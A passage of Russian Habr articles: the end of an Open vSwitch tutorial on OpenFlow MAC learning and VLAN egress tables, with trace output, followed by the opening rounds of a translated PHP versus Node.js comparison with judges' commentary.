Resubmitted megaflow: recirc_id=0,in_port=2,vlan_tci=0x0000,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=f0:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=2 cookie=0
OpenFlow actions=learn(table=10,NXM_OF_VLAN_TCI[0..11],NXM_OF_ETH_DST[]=NXM_OF_ETH_SRC[],load:NXM_OF_IN_PORT[]->NXM_NX_REG0[0..15]),resubmit(,3)
Resubmitted flow: unchanged
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=2,vlan_tci=0x0000,dl_src=90:00:00:00:00:01,dl_dst=f0:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=3 cookie=0 priority=50
OpenFlow actions=resubmit(,10),resubmit(,4)
Resubmitted flow: unchanged
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=2,vlan_tci=0x0000,dl_src=90:00:00:00:00:01,dl_dst=f0:00:00:00:00:01,dl_type=0x0000
Rule: table=10 cookie=0 vlan_tci=0x0014/0x0fff,dl_dst=f0:00:00:00:00:01
OpenFlow actions=load:0x1->NXM_NX_REG0[0..15]
Resubmitted flow: reg0=0x1,in_port=2,dl_vlan=20,dl_vlan_pcp=0,dl_src=90:00:00:00:00:01,dl_dst=f0:00:00:00:00:01,dl_type=0x0000
Resubmitted regs: reg0=0x1 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,reg0=0/0xffff,in_port=2,vlan_tci=0x0000,dl_src=90:00:00:00:00:01,dl_dst=f0:00:00:00:00:01,dl_type=0x0000
Rule: table=254 cookie=0 priority=0,reg0=0x2
OpenFlow actions=drop
Final flow: reg0=0x1,in_port=2,dl_vlan=20,dl_vlan_pcp=0,dl_src=90:00:00:00:00:01,dl_dst=f0:00:00:00:00:01,dl_type=0x0000
Megaflow: recirc_id=0,in_port=2,vlan_tci=0x0000,dl_src=90:00:00:00:00:01,dl_dst=f0:00:00:00:00:01,dl_type=0x0000
Datapath actions: drop
```
Если вы внимательно посмотрите на данные команды, то увидите, что они отличаются только тем, что MAC-адреса отправителя и получателя переставлены местами. Это значит, что если мы вновь запустим команду ovs-appctl
```
$ ovs-appctl ofproto/trace br0 in_port=1,dl_vlan=20,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:01 -generate
```
то увидим, что было выполнено действие “load” в таблице 10 и адрес назначения был запомнен:
```
Bridge: br0
Flow: in_port=1,dl_vlan=20,dl_vlan_pcp=0,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:01,dl_type=0x0000
Rule: table=0 cookie=0 priority=0
OpenFlow actions=resubmit(,1)
Resubmitted flow: in_port=1,dl_vlan=20,dl_vlan_pcp=0,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:01,dl_type=0x0000
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=1,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=90:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=1 cookie=0 priority=99,in_port=1
OpenFlow actions=resubmit(,2)
Resubmitted flow: unchanged
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=1,dl_src=00:00:00:00:00:00/01:00:00:00:00:00,dl_dst=90:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=2 cookie=0
OpenFlow actions=learn(table=10,NXM_OF_VLAN_TCI[0..11],NXM_OF_ETH_DST[]=NXM_OF_ETH_SRC[],load:NXM_OF_IN_PORT[]->NXM_NX_REG0[0..15]),resubmit(,3)
Resubmitted flow: unchanged
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=1,vlan_tci=0x0014/0x0fff,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:00/ff:ff:ff:ff:ff:f0,dl_type=0x0000
Rule: table=3 cookie=0 priority=50
OpenFlow actions=resubmit(,10),resubmit(,4)
Resubmitted flow: unchanged
Resubmitted regs: reg0=0x0 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,in_port=1,vlan_tci=0x0014/0x0fff,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:01,dl_type=0x0000
Rule: table=10 cookie=0 vlan_tci=0x0014/0x0fff,dl_dst=90:00:00:00:00:01
OpenFlow actions=load:0x2->NXM_NX_REG0[0..15]
Resubmitted flow: reg0=0x2,in_port=1,dl_vlan=20,dl_vlan_pcp=0,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:01,dl_type=0x0000
Resubmitted regs: reg0=0x2 reg1=0x0 reg2=0x0 reg3=0x0 reg4=0x0 reg5=0x0 reg6=0x0 reg7=0x0 reg8=0x0 reg9=0x0 reg10=0x0 reg11=0x0 reg12=0x0 reg13=0x0 reg14=0x0 reg15=0x0
Resubmitted odp: drop
Resubmitted megaflow: recirc_id=0,reg0=0/0xffff,in_port=1,vlan_tci=0x0014/0x0fff,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:01,dl_type=0x0000
Rule: table=254 cookie=0 priority=0,reg0=0x2
OpenFlow actions=drop
Final flow: reg0=0x2,in_port=1,dl_vlan=20,dl_vlan_pcp=0,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:01,dl_type=0x0000
Megaflow: recirc_id=0,in_port=1,dl_vlan=20,dl_src=f0:00:00:00:00:01,dl_dst=90:00:00:00:00:01,dl_type=0x0000
Datapath actions: drop
```
Создаем таблицу 4: обработка на выходе
--------------------------------------
К началу работы с таблицей 4 у нас есть регистр 0, содержащий или номер порта, в который надо переслать пакет, или 0 если пакет нужно разослать по всем портам. Мы также знаем, что пакет содержит метку VLAN (802.1Q), даже если он пришел в коммутатор без метки через соответствующий порт доступа.
Задача последней стадии обработки — отправка пакета получателю. Эта задачу легко выполнить для порта агрегации p1:
```
$ ovs-ofctl add-flow br0 "table=4 reg0=1 actions=1"
```
Для отправки в порт получателя мы просто вырезаем заголовок VLAN перед отправкой пакета:
```
$ ovs-ofctl add-flows br0 - <<'EOF'
table=4 reg0=2 actions=strip_vlan,2
table=4 reg0=3 actions=strip_vlan,3
table=4 reg0=4 actions=strip_vlan,4
EOF
```
Для весьма небольшой части широковещательных, многоадресных и одноадресных пакетов MAC-адрес получателя не будет запомнен. В этом случае нам надо убедиться, что только выходные пакеты на портах имеют VLAN-метки и мы будем прикреплять заголовки 802.1Q при отправке их только через порты доступа, а не через порт агрегации:
```
$ ovs-ofctl add-flows br0 - <<'EOF'
table=4 reg0=0 priority=99 dl_vlan=20 actions=1,strip_vlan,2
table=4 reg0=0 priority=99 dl_vlan=30 actions=1,strip_vlan,3,4
table=4 reg0=0 priority=50 actions=1
EOF
```
Наши правила основаны на стандартном поведении OpenFlow, при котором выходное правило не отправляет пакет в тот порт, из которого он пришел.Так, если пакет пришел с порта p1, и мы запомнили порт назначения тоже как p1, то нам надо указать в наших действиях параметр actions=1, в этом случае коммутатор не будет отправлять пакет в порт, из которого он пришел. Многоадресные, широковещательные и одноадресные пакеты также подчиняются этому правилу.
Тестируем таблицу 4
-------------------
#### Пример 1
Проследим путь пакета, который пришел на порт p1 с VLAN 30:
```
$ ovs-appctl ofproto/trace br0 in_port=1,dl_dst=ff:ff:ff:ff:ff:ff,dl_vlan=30
```
Самое интересное мы увидим в последней строке вывода команды, в которой коммутатор удаляет заголовок 802.1Q и затем отправляет пакет в порты p3 и p4, которые являются выходными портами для VLAN:
```
Datapath actions: pop_vlan,3,4
```
То же самое случится, если мы проследим путь широковещательного пакета, отправленного на порт p3:
```
$ ovs-appctl ofproto/trace br0 in_port=3,dl_dst=ff:ff:ff:ff:ff:ff
```
тут мы видим, что пакет выходит из порта p1 с меткой 802.1Q и из порта p4 без нее.
```
Datapath actions: push_vlan(vid=30,pcp=0),1,pop_vlan,4
```
> Open vSwitch мог бы упростить эту запись до 4,push\_vlan(vid=30,pcp=0), но он недостаточно умен для этого
Следующие команды тоже посылают широковещательные пакеты, которые отбрасываются, потому что такой VLAN может существовать только на порте p1.
```
$ ovs-appctl ofproto/trace br0 in_port=1,dl_dst=ff:ff:ff:ff:ff:ff
$ ovs-appctl ofproto/trace br0 in_port=1,dl_dst=ff:ff:ff:ff:ff:ff,dl_vlan=55
```
Попробуйте послать несколько широковещательных пакетов сами:
```
$ ovs-appctl ofproto/trace br0 in_port=1,dl_dst=ff:ff:ff:ff:ff:ff,dl_vlan=20
$ ovs-appctl ofproto/trace br0 in_port=2,dl_dst=ff:ff:ff:ff:ff:ff
$ ovs-appctl ofproto/trace br0 in_port=4,dl_dst=ff:ff:ff:ff:ff:ff
```
Такое же поведение можно наблюдать с многоадресными и одноадресными пакетами, чей адрес получателя на может быть запомнен:
```
$ ovs-appctl ofproto/trace br0 in_port=4,dl_dst=01:00:00:00:00:00
$ ovs-appctl ofproto/trace br0 in_port=1,dl_dst=90:12:34:56:78:90,dl_vlan=20
$ ovs-appctl ofproto/trace br0 in_port=1,dl_dst=90:12:34:56:78:90,dl_vlan=30
```
#### Пример 2: запоминание MAC-адресов
Давайте поступим так же, как мы делали в случае таблицы 3. Для начала запомним MAC-адрес на порте p1 для VLAN 30
```
$ ovs-appctl ofproto/trace br0 in_port=1,dl_vlan=30,dl_src=10:00:00:00:00:01,dl_dst=20:00:00:00:00:01 -generate
```
В последней строке вывода вы увидите, что адрес получателя пакета неизвестен, так что он будет отправлен на порты p3 и p4, на которых существует VLAN 30
```
Datapath actions: pop_vlan,3,4
```
Затем поменяем местами MAC-адреса отправителя и получателя и запомним адрес получателя на порте p4
```
$ ovs-appctl ofproto/trace br0 in_port=4,dl_src=20:00:00:00:00:01,dl_dst=10:00:00:00:00:01 -generate
```
Последняя строка вывода команды показывает, что порт назначения для этого пакета — p1, что является результатом выполнения предыдущей команды
```
Datapath actions: push_vlan(vid=30,pcp=0),1
```
Запустим нашу первую команду еще раз:
```
$ ovs-appctl ofproto/trace br0 in_port=1,dl_vlan=30,dl_src=10:00:00:00:00:01,dl_dst=20:00:00:00:00:01 -generate
```
Мы увидим, что ее результатом будет не широковещательная рассылка, а отправка пакета только в один порт назначения — p4.
```
Datapath actions: pop_vlan,4
```
Теперь наш коммутатор готов к использованию. | https://habr.com/ru/post/325560/ | null | ru | null |
# PHP vs Node.js
*Это перевод статьи Крэга Баклера (Craig Buckler) [«SitePoint Smackdown: PHP vs Node.js»](http://www.sitepoint.com/sitepoint-smackdown-php-vs-node-js/) и [судейских решений](http://www.sitepoint.com/php-vs-node-js-smackdown-right-of-reply/) Бруно Шкворца и Джеймса Хиббарда (Bruno Škvorc, James Hibbard) статьи Крэга Баклера.*
#### От переводчика
Существует много статей на эту тему, с качественными характеристическими анализами и прогнозами производительности. Однако, мне все же хотелось найти такую статью, где профессиональные программисты делятся своими мнениями и пытаются что-то подсказать, предостеречь новичка, который только изучает PHP или NodeJS (cерверный JavaScript). Многие не любят PHP и говорят, что PHP создан, чтобы умирать (да, там есть сборщик мусора, который убивает наши переменные после выполнения скрипта, а не потому что его забросил Расмус Лердорф), однако, что теперь не учить PHP совсем, в то время как на нем работает 80% сайтов в интернете. Поэтому, если мы хотим быть профессионалами и пытаться хоть как-то расширить свой кругозор, нам нужно четко разделять задачи PHP и задачи NodeJS, а не сливать все в кучу.
#### «10 раундов боксеров разных весовых категорий»
Одним прекрасным днем Крэг Баклэр (Craig Buckler) на сайте SitePoint.com опубликловал сравнительный анализ PHP и NodeJS под названием «10 раундов», чтобы определить кто является абсолютным чемпионом. Однако, в это же время он отметил, что такой анализ является несколько спорным. Поэтому, для некоторого развлечения, он пригласил двух судей, которые внесли бы свою лепту в этот боксерский поединок. Он попросил Бруно Шкворца (Bruno Škvorc, редактор колонки PHP на сайте SitePoint.com) и Джеймса Хиббарда (James Hibbard, редактор колонки JavaScript на сайте SitePoint.com) прокомментировать каждый из раундов, удар за ударом — оценка.
#### Введение
Web-программирование стремительно развивается, и перед back-end разработчиками встает вопрос выбора между устоявшимися тяжеловесами Java, C, Perl и современными веб-ориентированными языками, такими как, Ruby, Clojure, Go. Ваш выбор имеет огромное значение, накладывая свой отпечаток на работу приложения.
Но какой сделать выбор для веб-разработки?
Не хочеться затевать холивар, но все же мы будем сегодня говорить о PHP и NodeJS:
* PHP — был создан в 1994 году Расмусом Лердфордом (Rasmus Lerdorf). Он создал программную оболочку (интерпретатор), которая устанавливается в качестве модуля для веб-сервера Apache или Nginx. Изначально разрабатывался как препроцессор гипертекстовых страниц, поэтому PHP может быть легко интегрирован в HTML код, однако, такой подход сейчас не является хорошей практикой, но все же для новичков такой подход был очевиден. Это способствовало популярности языка, поэтому 80% сайтов в интернете написаны на PHP, они же, в частности, работают под управлением WordPress CMS (20% сайтов в интернете).
* Node.js — был создан в 2009 году Райаном Далем (Ryan Dahl). Он создал программную платформу, основанную на JavaScript движке V8 от Google. Необычно то, что платформа имеет встроенные библиотеки для обработки запросов и ответов, тем самым вам не нужно использовать сторонний веб-сервер и какие-либо другие зависимости. Node.js набирает обороты и он используется такими компаниями, как Microsoft, Yahoo, LinkedIn и PayPal.
#### Почему не говорим о C#, Java, Ruby, Python, Perl, Erlang, C++, Go, Dart, Scala, Haskell, и других?
Стали бы вы читать статью обо всем и вся, вам нужна энциклопедия? Поэтому мы огранили и сужили круг до двух знаменитых потому, что:
1. PHP и Node.js веб-ориентированны, у обоих открытый исходных код, они направлены, исключительно, на веб-разработку
2. PHP давний язык, однако, Node.js в нашем случае является выскочкой, который набирает обороты по популярности, поэтому php-разработчику стоит задаться вопросом. А стоит ли менять технологию?
3. Многие разработчики программируют с далеких 90х на PHP и JavaScript и переходить на другие языки программирования не все хотят, ибо не отдают им должное.
#### Правила
Боксер в правом углу — PHP, боксер в левом — Node.js. Абсолютным победителем будет та технология, которая победит по количеству раундов.
#### Первый раунд: быстрый старт
В этом раунде мы определяем, как быстро мы можем написать «Hello, world» страницу на том или ином языке программирования, в это время мы включаем время потраченное на настройку сервера.
Подготавливаем среду:
1) Как быстро вы можете построить «Hello World» веб-страницу на PHP:
```
php
echo 'Hello World!';
?
```
Этот код может быть написан где угодно, как правило, код пишут в файлах, оканчивающихся на расширение *.php*. Если вы написали этот код в файле *index.php* и запустили на локальном сервере через порт 8000 (на своем компьютере, а не на реальном хостинге), то его отображение будет доступно по адресу:
```
http://localhost:8000
```
.
Однако, используя готовый интерпретатор PHP со встроенным сервером довольно ненадежное занятие. Лучше использовать готовые решения, сборки Apache — XAMPP или виртуальные OS (Vagrant). Кстати, свой файл вы сможете загрузить на любой хостинг интернета.
2) Установить платформу Node.js проще простого, если вы работаете на unix-подобных системах, вы сможете это сделать и при помощи менеджеров пакетов. Давайте создадим страницу index.js:
```
const http = require('http');
const hostname = 'localhost';
const port = 8000;
http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('Hello World\n');
}).listen(port, hostname, () => {
console.log(`Server running at http://${hostname}:${port}/`);
});
```
Мы повторили аналогичные действия, код на JavaScript, как правило, пишут в файлах, оканчивающихся на расширение *.js*. Если вы написали этот код в файле *index.js* и запустили на локальном сервере через порт 8000 (на своем компьютере, а не на реальном хостинге), то его отображение также будет доступно по адресу (при условии, что php теперь работает на другом порту):
```
http://localhost:8000
```
Теперь давайте оценим код, даже если вы хорошо знаете клиентский JavaScript, вам придется думать и разбираться с тем, что же здесь написано. Вы должны понимать замыкания и callback-функции, промисы, программирование на стороне Node.js требует некоторой сноровки.
PHP концептуально проще и выигрывает этот раунд. Хотя PHP имеет несколько программных зависимостей, однако PHP менее сложный для изучения.
#### Оценка судей — **PHP 1:0 Node.js**
* Бруно: PHP выигрывает из-за низкого порога вхождения. Тут скорее вопрос восприятия. На экране они отображаются одинаково и существенного отличия у них нет. Фактически синтаксис гораздо проще для новичков программирования.
* Джеймс: При разработке на локальной машине, я не вижу разницы между ними. Чтобы запустить скрипт в браузере, вам необходимо иметь веб-сервер и терминал. Чтобы на Node.js делать что-то серьезное, нужно устанавливать дополнительные модули, например, express (фреймворк для веб-приложений). Однако, концептуально PHP — проще.
#### Второй раунд: помощь и поддержка
На самом деле вы никуда не уедете на своих знаниях без изучения каких-либо курсов, современных практик, чтобы развиваться, вам нужно задавать вопросы на форумах, таких как — StackOverflow. PHP выигрывает этот раунд легко, он имеет большое руководство на сайте php.net и двадцать лет частовстречаемых вопросов. Что бы вы ни делали, кто-то сталкивался с этой проблемой и пытался ее решить за вас.
У Node.js есть хорошая документация, но технология довольно молода, поэтому и ответов на форумах, будет значительно меньше.
#### Оценка судей — **PHP 2:0 Node.js**
* Бруно: *промолчал*
* Джеймс: Я согласен. Node.js более молодая технология, поэтому сейчас с поддержкой и документацией хуже. Эта проблема, однако, становится всё менее и менее серьёзной по мере взросления Node.
#### Третий раунд: синтаксис языка
В отличие от некоторых языков и фреймворков, PHP не заставит вас работать определенным образом, и растет вместе с вами. Вы можете писать свои маленькие программы на простых функциях PHP4, и они будут отличаться своей красотой от MVC PHP 5+. Однако в таком случае, ваш код может быть хаотичным, вы начнете писать лучший код только с пониманием некоторых вещей.
Синтаксис PHP изменялся с выходом новых версий, из-за чего была проведена работа по обратной совместимости. Вы можете легко перенести код с PHP4 на PHP5. Однако, в следствии такого подхода, в PHP образовался беспорядок (каша).
Например, как вы подсчитать количество символов в строке?
— count()? str\_len()? strlen()? mb\_strlen()?
Вы найдете в документации для этого несколько функции, но на самом деле, все просто. Вообще, в PHP много функций, которые работают одинаково, попробуйте написать несколько строк кода, не посоветовавшись с наставником.
```
php
$str = 'Hello world';
$size_1 = count($str);
$size_2 = strlen($str); // верная функция
$len = [$size_1, $size_2];
print_r($len);
?
```
C JavaScript все иначе:
```
var len = ('Hello world').length;
console.log(len);
```
Мы видим, что JavaScript в тоже время является сравнительно четкий, имея несколько основных тенденций. Его объектно-прототипная модель привлекает разработчиков, и кажется, что синтаксис довольно легкий, но это не так. Вы найдете критику о математических ошибках (0,1 + 0,2 != 0,3) и динамической типизации ('4' + 2 == '42' and '4' — 2 == 2). Но эти ситуации редко вызывают проблемы, и все языки имеют особенности.
PHP имеет множество преимуществ, однако Node.js выигрывает по некоторым причинам:
1. JavaScript кажется самым непонятным языком в мире, но как только вы улавливаете его концепцию, остальные языки становятся громоздкими по сравнению с ним.
2. JavaScript выглядит минимальнее, чем PHP, вам не нужно бороться с тем же UTF-8.
3. Full-stack разработчики могут писать код на JavaScript как на стороне клиента, так и на стороне сервера. Вам больше не нужно переключаться между технологиями.
4. Изучая JavaScript, вам хочется больше и чаще писать на этом языке, про PHP такого нельзя сказать.
#### Оценка судей — **PHP 2:1 Node.js**
* Бруно: Я категорически не согласен с этой точкой. Хотя PHP имеет свои особенности, многие из них были исправлены в последнее время, и многие странности удалены в новейших версиях. С другой стороны, точно такое же есть и в мире JS. Что касаемо серверной части, то тут я тоже не согласен. Клиентская сторона и серверная это разные вещи, и вам в любом случае, придется переключать свой мозг, на сервере такой же свой синтаксис, если мы пишем на Node.js, ежели мы пишем JavaScript-код для браузера. Поработав с JS и PHP, в свое время, первое мне нравится меньше и меньше, хотя это чисто личные предпочтения.
* Джеймс: Я люблю JavaScript. Я знаю, она имеет свои причуды, и я знаю, что есть несколько подводных камней, но ECMAScript 2015 года исправляет многое, а добавляя интересные новые функции в язык. JavaScript является одновременно мощным и гибким, и может вместить много различных стилей программирования. В отличие от PHP, я люблю писать на JavaScript. Node.js выигрывает в этом раунде.
#### Четвертый раунд: инструменты разработчика
Обе технологии имеют хороший выбор редакторов, интегрированных сред разработки, отладчиков, валидаторов и других инструментов. Тут можно дать ничью, но все же Node.js имеет прекрасный инструмент, npm — менеджер пакетов, c его помощью можно управлять модулями и зависимостями.
У PHP есть свой менеджер пакетов, разработанный под влиянием npm — Composer. Однако, ежели npm встроен по умолчанию, тот composer придется встраивать самостоятельно. Благодяря npm широкое распространение получили Gulp, Grunt — системы сборки front-end проектов.
#### Оценка судей — **PHP 2:2 Node.js**
* Бруно: В то время как composer был первоначально вдохновлен npm, то теперь он даже лучше, чем npm. Composer не повредить вашу систему, если вы хотите установить две версии одной и того же библиотеки, в отличие от npm. Также в отличие от npm, composer может установить рекурсивные зависимости, в то время как npm просто не можете сделать. Npm также имеет совершенно ужасные сообщения об ошибках, которые называются «дружественными». Наконец, npm не особо работает с Vagrant, и тем самым препятствует вам начать работу должным образом, не говоря уже о том, что они не обращают внимания на желания своих пользователей. Присутствовала ошибка, которая была открыта в течение многих лет, из-за чего пользователям это было не пригодно на Windows — вряд ли это маленькая пользовательская база. PHP имеет свою долю ошибок, конечно, тоже глупых, но те не отталкивали целые ОС в течение многих лет.
* Джеймс: Я люблю npm. Его легко использовать, и есть тысячи пакетов, доступные для почти любой необходимости. Мне также нравится тот факт, что npm позволяет выбрать между глобальной и локальной установки пакетов (в отличие от таких языков, как Ruby, где это стандарт для ваших драгоценных камней). Такие инструменты, как bower и grunt имеют постоянное место в моей работе, и увеличили мою производительность во много раз.
#### Пятый раунд: среда
Где могут быть использованы эти технологии. Как их развернуть? Какими платформами поддерживаются? Веб-разработчикам часто нужно создавать приложения, которые только относятся к web, например, разработка онлайн-сервиса, сценарии преобразования данных и т.д.
На PHP вы можете разрабывать десктопные приложения или консольные утилиты, но в основном PHP нужен на стороне сервера и редко выходит за пределы этой границы.
Несколько лет назад, JavaScript использовался исключительно для браузера. С приходом Node.js вы можете писать десктопные и мобильные приложения, а также можно программировать и микроконтроллеры. Node.js расширил границы JavaScript.
#### Оценка судей — **PHP 2:3 Node.js**
* Бруно: Ну, во-первых, мы сравниваем PHP с Node.js, а не PHP с JS. Во-вторых, мы сравниваем языки и среды, где они могут работать. Сказать, что обезьяна лучше, чем рыба, потому что рыбе не удалось подняться на дерево — это просто глупо. Но и обезьяны, и рыба может плавать, так что давайте сравнивать, насколько хорошо они это делают.
* Джеймс: Несколько особенностей, которые делают Node.js так популярны (скорость, масштабируемость, совместимость с JSON, низкое использование ресурсов), позволяют использовать его для многих других видов применения, например, питающих разработке микроконтроллеров (IoT). Я имею в виду, кто не любит роботов?
#### Шестой раунд: интеграция
Ваши технологии разработки будут ограничены, если только они не могут интегрироваться с базами данных и драйверами. PHP сильна в этой области. Развитие было в течение многих лет, и его расширения системы позволяют прямую работать с любым хостом при помощи API.
Node.js догоняет быстро, но вы можете изрядно попотеть, чтобы найти современные компоненты интеграции для старых вещей.
#### Оценка судей — **PHP 3:4 Node.js**
* Бруно: Тут я дам ничью. PHP имеет возрастное преимущество, давая ему больше возможностей, но и тут можно было пострадать, от некоторых устаревших интегрированных вещей, например, расширение MySQL, от которого, наконец, сумели избавиться в PHP7.
* Джеймс: Не уверен, что я согласен с этим. Я бы надеялся на примере «старых, менее популярных в технологии вещами». Один из главных плюсов Node.js — он понимает JSON. JSON является, вероятно, самым важным форматом обмена данных в Интернете, или взаимодействия с NoSQL базами данных. Когда вы работаете с Node.js, данные могут поступать аккуратно слоями без необходимости переформатирования. Вы имеете один синтаксис при общении с базой данных.
#### Седьмой раунд: хостинг и развертывание
Как легко разворачиваются новенький приложения на настоящем веб-сервере? Тут еще одна чистая победа PHP. Любой хостинг интернета поддерживает PHP. Вы можете получить MySQL базу данных по выгодной цене. Тут PHP значительно проще песочницы (локального сервера) и вы будете точно уведомлены, какие PHP расширения отключены, а какие нет.
Node.js совсем другой зверь, и он может работать на стороне сервера постоянно, без разрыва связи. Для этого, вам придется искать специализированные хостинги. Вам потребуется виртуальное облако (VDS/VPS, серверная среда, с полным доступом). К сожалению, такое могут себе позволить не все хостеры, поэтому и цены будут соответствующие.
#### Оценка судей — **PHP 4:4 Node.js**
* Бруно: *молчит*
* Джеймс: В будущем, Node.js многое наверстает. Как правило, веб-сервер PHP распространяется вместе с MySQL. Чтобы увидеть какой-то php код, все, что вам надо сделать, это создать файл с расширением .php и засунуть между php и ? код, загрузить файл на сервер, указать в адресной строке, путь к этому файлу. То же самое нельзя сказать про Node.js. Есть, конечно, много вариантов хостинга для Node.js, но они неизменно требуют более детальной настройки и доступа к командной строке, которая потенциально отталкивает начинающих.
#### Восьмой раунд: производительность
PHP не сутулиться и есть реальные проекты, и варианты, которые позволяют PHP работать быстрее. Даже самый требовательный разработчик PHP редко беспокоится о скорости, но производительность Node.js, как правило, лучше. Конечно, производительность в значительной степени является следствием опыта и командной разработки, однако, Node.js имеет несколько преимуществ:
1. Меньше зависимостей
Все запросы к приложению PHP должны быть направлены на веб-сервер, который запускает интерпретатор PHP, который обрабатывает код и отдает его. Node.js не нужно так много зависимостей, и, хотя вы почти наверняка используете фреймворк на сервере, такой как express, он совсем легкий и управляет частью вашего приложения.
2. Быстрый интерпретатор
Node.js меньше и проворнее, чем РНР. Это связано с наследием Google, который сделал огромный вклад в производительность JavaScript движка — V8.
3. Приложения работают постоянно
РНР выполняет обычную клиент-серверную модель. Каждый запрос страницы инициирует приложение, загрузка параметров подключения к базе данных, извлечение информации и отображения HTML-кода. В Node.js приложение постоянно работает и его нужно инициализировать только один раз. Например, можно создать один объект подключения к базе данных, которая используется повторно при новом запросе. Правда, есть способы, реализации такого поведения и на PHP с использованием специальных систем, таких как memcached, но это не стандартная функция языка.
4. Событийный, неблокирующий поток ввода/вывода
PHP и большинство других серверных языков используют очевидную модель блокировки. Когда вы делаете запрос на извлечение информации из базы данных, запрос выполнит и завершит процесс, прежде чем перейдет к следующему оператору. В Node.js все иначе. В Node.js не нужно ждать. Вместо этого можно создать функцию обратного вызова, которая, прослушивая процесс, выполняется после того, как действие завершится.
Хоть Node.js приложения заметно быстрее, чем PHP тут есть и свои подводные камни.
Node.js / JavaScript работает в одном потоке, а большинство веб-серверов многопоточные и обрабатывают запросы параллельно. Написание асинхронного кода является сложным и несет свои собственные проблемы.
#### Оценка судей — **PHP 4:5 Node.js**
* Бруно: Заблуждения предостаточно. Во-первых, обсуждения производительности спорные. Любой прирост производительности зависят исключительно от опыта разработчиков и типа приложения. Но даже если это сообщение не является убедительным, вот некоторые из моих собственных аргументов: PHP вполне работает с многопоточным встроенным веб-сервером, это позволяет не использовать внешний сервер полностью, но это не рекомендуется (пока что). Есть также супер быстрые серверы, такие как Nginx, которые делают весь процесс запуска PHP и делегирования запросов к нему незаметными. Такие проекты, как HHVM и Appserver добавляют мощные асинхронные и многопоточные аспекты, сам PHP7 с обновлением версии станет намного мощнее прежнего. Да php приложение получает только статику, и живет всего лишь один раз в запрос, однако и это можно обойти: memcached, ajax. Серверные JS приложения работают в одном запросе по умолчанию. PHP же нужно постоянно делать запросы к странице, чтобы обновить ее, но более того — жизнь одного запроса является только преимуществом, так как мы делаем запрос снова на PHP, наше приложение восстанавливается (каждый раз при запросе), когда оно используется, тем самым мы избегаем проблемы с памятью, очисткой мусора.
* Джеймс: Node.js распространяется как платформа с высокой производительностью, низкой латентности приложений. Благодаря неблокирующему механизму ввода / вывода и технологии Google Chrome V8, Node.js стал синонимом слов «быстрый» и «масштабируемый». Есть многочисленные истории о том, как Node.js принес серьезные прирост производительности в компании и произвел повышение производительности самих разработчика. Я рад такому, но опять же, это спорный момент.
#### Девятый раунд: страсть программирования
Это немного сложно сравнивать, но относительно немногие разработчики PHP увлечены самим языком. Когда в последний раз вы читали статью по PHP или смотрели презентацию, которая пленила публику? Возможно, все, что было сказано? Может быть, есть менее увлекательным? Может быть, вы не смотрите в нужных местах? Есть некоторые интересные особенности, которые появились совсем недавно, например, появление — PHP7, но все же эта технология топталась в течение нескольких лет. Это сказалось на самом языке, многие разработчики стали ругать PHP.
JavaScript делит сообщество. Есть те, кто любит его и тех, кто ненавидит его, немногие разработчики сидят на заборе. Тем не менее, ответы по Node.js были в значительной степени положительные и технология находится на гребне волны. Это отчасти потому, что она новая, на данный момент, Node.js выигрывает этот раунд.
#### Оценка судей — **PHP 4:6 Node.js**
